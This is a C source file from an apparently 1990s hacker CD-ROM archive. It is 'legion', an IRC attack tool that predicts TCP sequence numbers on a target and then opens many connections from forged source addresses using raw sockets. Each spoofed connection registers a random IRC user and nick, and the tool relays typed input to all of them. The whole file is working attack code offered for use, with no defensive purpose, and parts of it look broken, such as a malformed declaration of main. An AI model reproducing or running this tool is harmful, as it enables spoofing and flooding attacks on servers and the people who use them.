home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz KrOnIcKLeZ 3 / HaCKeRz_KrOnIcKLeZ.iso / ircscripts / warirc / legion.c < prev    next >
C/C++ Source or Header  |  1996-04-23  |  9KB  |  328 lines

  1. /*
  2.  * legion - legion irc sequencer (1.0)
  3.  * coded by asmodean
  4.  *
  5.  * usage:
  6.  *   ts <dest> <dest port> <num connects> [offset]
  7.  *
  8.  *         dest = the system we're spoofing onto
  9.  *    dest port = the destination port.. (duh?)
  10.  *      num con = how many connections to spoof
  11.  *       offset = the offset to use, 0 = attempt to determine it (default)
  12.  */
  13.  
  14. #ifndef lint
  15. static char idstr[] = "$Id:legion.c,v 1.0 1996/04/29 02:11:45 asmodean Exp $";
  16. #endif
  17.  
  18. #include <stdio.h>
  19. #include <stdlib.h>
  20. #include <sys/types.h>
  21. #include <sys/socket.h>
  22. #include <netinet/in_systm.h>
  23. #include <netinet/in.h>
  24. #include <netinet/ip.h>
  25. #include <netinet/tcp.h>
  26. #include <netdb.h>
  27. #include <signal.h>
  28.  
  29. /* from ping.c */
  30. unsigned short in_cksum(addr, len)
  31.   u_short *addr;
  32.   int len;
  33. {
  34.   register int nleft = len;
  35.   register u_short *w = addr;
  36.   register int sum = 0;
  37.   u_short answer = 0;
  38.  
  39.   /*
  40.    * Our algorithm is simple, using a 32 bit accumulator (sum), we add
  41.    * sequential 16 bit words to it, and at the end, fold back all the
  42.    * carry bits from the top 16 bits into the lower 16 bits.
  43.    */
  44.   while (nleft > 1)  {
  45.     sum += *w++;
  46.     nleft -= 2;
  47.   }
  48.  
  49.   /* mop up an odd byte, if necessary */
  50.   if (nleft == 1) {
  51.     *(u_char *)(&answer) = *(u_char *)w ;
  52.     sum += answer;
  53.   }
  54.  
  55.   /* add back carry outs from top 16 bits to low 16 bits */
  56.   sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
  57.   sum += (sum >> 16);                 /* add carry           */
  58.   answer = ~sum;                      /* truncate to 16 bits */
  59.   return(answer);
  60. }
  61.  
  62. void randset(char *buf, unsigned short len) {
  63.   char *junk = "abcdefghijklmnopqrstuvwxyz";
  64.   unsigned short i;
  65.   for (i = 0; i < len; i++) {
  66.     srand(time(NULL) + (rand() % 232756623));
  67.     buf[i] = junk[rand() % strlen(junk)];
  68.   }
  69. }
  70.  
  71. void abort() {
  72.   printf("aborted!\n");
  73.   exit(-1);
  74. }
  75.  
  76. void recvtcp(s, buf, len) 
  77.   int s;
  78.   char *buf;
  79.   int len;
  80. {
  81.   if (recvfrom(s, buf, len, 0, 0, 0) == -1) {
  82.     perror("recvfrom");
  83.     exit(1);
  84.   }
  85. }
  86.  
  87. void sendtcp(s, src, sport, dest, dport, addr, seq, ack, flags, data)
  88.   int s;
  89.   unsigned long src;
  90.   unsigned short sport;
  91.   unsigned long dest;
  92.   unsigned short dport;
  93.   struct sockaddr_in *addr;
  94.   unsigned long seq;
  95.   unsigned long ack;
  96.   unsigned char flags;
  97.   char *data;
  98. {
  99.   static char   *packet, *junk;
  100.   struct iphdr  *ip;
  101.   struct tcphdr *tcp;
  102.  
  103.   packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr) +
  104.                            strlen(data));
  105.   junk   = (char *) malloc(12 + sizeof(struct tcphdr) + strlen(data));
  106.  
  107.   ip  = (struct iphdr *)   packet;
  108.   tcp = (struct tcphdr *) (packet + sizeof(struct iphdr));
  109.  
  110.   memset(packet, 0, sizeof(struct iphdr) + sizeof(struct tcphdr) + 
  111.          strlen(data));
  112.  
  113.   ip->saddr    = src;
  114.   ip->daddr    = dest;
  115.   ip->version  = 4;
  116.   ip->ihl      = 5; 
  117.   ip->ttl      = 255;
  118.   ip->protocol = IPPROTO_TCP;
  119.   ip->id       = getpid();
  120.   ip->tot_len  = htons(sizeof(struct iphdr) + sizeof(struct tcphdr) + 
  121.                        strlen(data));
  122.  
  123.   ip->check = in_cksum(ip, sizeof(struct iphdr));
  124.  
  125.   tcp->th_sport = htons(sport);
  126.   tcp->th_dport = htons(dport);
  127.   tcp->th_seq   = htonl(seq);
  128.   tcp->th_ack   = htonl(ack);
  129.   tcp->th_off   = sizeof(struct tcphdr)/4;
  130.   tcp->th_flags = flags;
  131.   tcp->th_win   = htons(10052);
  132.  
  133.   memcpy(packet + sizeof(struct iphdr) + sizeof(struct tcphdr), data,
  134.          strlen(data));
  135.  
  136.   memset(junk, 0, 12 + sizeof(struct tcphdr) + strlen(data));
  137.   
  138.   *((unsigned long *)   junk)       = ip->saddr;
  139.   *((unsigned long *)  (junk + 4))  = ip->daddr;
  140.   *((unsigned char *)  (junk + 9))  = ip->protocol;
  141.   *((unsigned short *) (junk + 10)) = htons(sizeof(struct tcphdr) + strlen(data));
  142.   *((struct tcphdr *)  (junk + 12)) = *tcp;
  143.  
  144.   memcpy(junk + 12 + sizeof(struct tcphdr), data, strlen(data));
  145.   
  146.   tcp->th_sum = in_cksum(junk, 12 + sizeof(struct tcphdr) + strlen(data));
  147.  
  148.   if (sendto(s, packet, sizeof(struct iphdr) + sizeof(struct tcphdr) + 
  149.              strlen(data), 0, (struct sockaddr *)addr, 
  150.              sizeof(struct sockaddr_in)) == -1) {
  151.     perror("sendto");
  152.     exit(1);
  153.   }
  154. }
  155.  
  156. struct client_con {
  157.   unsigned long seq;
  158.   unsigned long ack;
  159.   unsigned long host;
  160.   char user[9];
  161.   char nick[9];
  162. };
  163.  
  164. void legion(s, r, thisbox, dest, dport, addr, num_connects, known_offset) 
  165.   int s;
  166.   int r;
  167.   unsigned long thisbox;
  168.   unsigned long dest;
  169.   unsigned short dport;
  170.   struct sockaddr_in addr;
  171.   unsigned long known_offset;
  172. {
  173.   unsigned long seq = 431337, valid_seq, new_seq, old_seq = 0, offset = 0;
  174.   unsigned short seq_sport = 600, sport = 1024 + (random() % 31337), i;
  175.   struct hostent *host;
  176.   struct client_con *clients;
  177.  
  178.   char *packet, string[512];
  179.   struct iphdr  *ip;
  180.   struct tcphdr *tcp;
  181.  
  182.   packet  = (char *) malloc(sizeof(struct iphdr) + sizeof(struct tcphdr));
  183.   clients = (struct client_con *) malloc(num_connects * 
  184.                                         sizeof(struct client_con));
  185.  
  186.   ip  = (struct iphdr *)   packet;
  187.   tcp = (struct tcphdr *) (packet + sizeof(struct iphdr));
  188.  
  189.   for (i = 0; i < num_connects; i++) {
  190.     randset(clients[i].user, 9);
  191.     randset(clients[i].nick, 9);
  192.     clients[i].host = rand();
  193.     clients[i].seq  = 408618 + (i % rand());
  194.   }
  195.  
  196.   if (!known_offset) {
  197.     printf("# Attempting to predict TCP sequence...");
  198.   }else{
  199.     printf("# Getting a sample of the current tcp sequence...");
  200.   }
  201.   fflush(stdout);
  202.  
  203.   for (valid_seq = 0; !valid_seq; seq_sport++, seq++) {
  204.     sendtcp(s, thisbox, seq_sport, dest, dport, &addr, seq, 0, TH_SYN, "");
  205.     for (;;) {
  206.       recvtcp(r, packet, sizeof(struct iphdr) + sizeof(struct tcphdr));
  207.       if (ip->saddr != dest) {
  208.         continue;
  209.       }
  210.       if (ntohs(tcp->th_dport) == seq_sport && ntohs(tcp->th_sport) == dport) {
  211.         new_seq = htonl(tcp->th_seq);
  212.         if (new_seq - old_seq == offset) {
  213.           valid_seq++;
  214.         }else{
  215.           offset = new_seq - old_seq;
  216.         }
  217.         old_seq = new_seq;
  218.         if (known_offset) {
  219.           offset = known_offset;
  220.           valid_seq++;
  221.         }
  222.         break;
  223.       }
  224.     }
  225.     printf(".");
  226.     fflush(stdout);
  227.   } 
  228.   printf("done! (offset - %lu)\n", offset);
  229.  
  230.   printf("# Spoofing %d connections...\n", num_connects);
  231.   for (i = 0; i < num_connects; i++) {
  232.     clients[i].ack = old_seq + (offset * (i + 1)) + 1;
  233.     sendtcp(s, clients[i].host, sport + i, dest, dport, &addr, clients[i].seq++, 0, TH_SYN, "");
  234.   }
  235.   usleep(10000);
  236.  
  237.   for (i = 0; i < num_connects; i++) {
  238.     sendtcp(s, clients[i].host, sport + i, dest, dport, &addr, clients[i].seq, 
  239.             clients[i].ack, TH_ACK, "");
  240.   }
  241.   usleep(5000);
  242.  
  243.   for (i = 0; i < num_connects; i++) {
  244.     memset(string, 0, 512);
  245.     sprintf(string, "USER %s . . :\002fear legion\002\r\nNICK %s\r\n", 
  246.             clients[i].user, clients[i].nick);
  247.     sendtcp(s, clients[i].host, sport + i, dest, dport, &addr, clients[i].seq, 
  248.             clients[i].ack, TH_ACK|TH_PUSH, string);
  249.     clients[i].seq += strlen(string);
  250.   }
  251.  
  252.   while (1) {
  253.     memset(string, 0, 512);
  254.     printf("# input> ");
  255.     fflush(stdout);
  256.     fgets(string, 512, stdin);
  257.     for (i = 0; i < num_connects; i++) {
  258.       sendtcp(s, clients[i].host, sport + i, dest, dport, &addr, clients[i].seq, 
  259.               clients[i].ack, TH_ACK|TH_PUSH, string);
  260.       clients[i].seq += strlen(string);
  261.     }
  262.   }
  263. }
  264.  
  265. main(argc, argv)
  266.   int argc;
  267.   char *argv[];
  268.   static int s = 0, r = 0;
  269.   unsigned short num_connects;
  270.   unsigned long dest, thisbox, offset = 0;
  271.   struct hostent *host;
  272.   struct sockaddr_in addr;
  273.   char buf[128];
  274.  
  275.   if (argc < 4 || argc > 6) {
  276.     printf("# legion irc sequencer (1.0)\n");
  277.     printf("# coded by asmodean (through knowledge, power)\n");
  278.     printf("usage: %s <dest> <dest port> <num con> [offset]\n", argv[0]);
  279.     exit(-1);
  280.   }
  281.  
  282.   num_connects = atoi(argv[3]);
  283.  
  284.   if (argc > 4) {
  285.     offset = atoi(argv[4]);
  286.   }
  287.   gethostname(buf, 128);
  288.   host = gethostbyname(buf);
  289.   if (host == NULL) {
  290.     printf("Can't get this machine's hostname\n");
  291.     exit(1);
  292.   }
  293.   memcpy(&thisbox, host->h_addr, 4);
  294.  
  295.   memset(&addr, 0, sizeof(struct sockaddr_in));
  296.   addr.sin_family      = AF_INET;
  297.   addr.sin_addr.s_addr = inet_addr(argv[1]);
  298.   if (addr.sin_addr.s_addr == -1) {
  299.     host = gethostbyname(argv[1]);
  300.     if (host == NULL) {
  301.       printf("Unknown host %s.\n", argv[1]);
  302.       exit(1);
  303.     }
  304.     addr.sin_family = host->h_addrtype;
  305.     memcpy((caddr_t) &addr.sin_addr, host->h_addr, host->h_length);
  306.     printf("# Target is %s (%s)\n", inet_ntoa(addr.sin_addr.s_addr), argv[1]);
  307.   }else{
  308.     printf("# Target is %s\n", argv[1]);
  309.   }
  310.   memcpy(&dest, (char *)&addr.sin_addr.s_addr, 4);
  311.  
  312.   s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  313.   if (s == -1) { 
  314.     perror("Getting raw send socket");
  315.     exit(-1);
  316.   }
  317.  
  318.   r = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  319.   if (r == -1) {
  320.     perror("Getting raw recv socket");
  321.     exit(-1);
  322.   }
  323.  
  324.   signal(SIGINT, abort);
  325.   legion(s, r, thisbox, dest, atoi(argv[2]), addr, num_connects, offset);
  326. }
  327.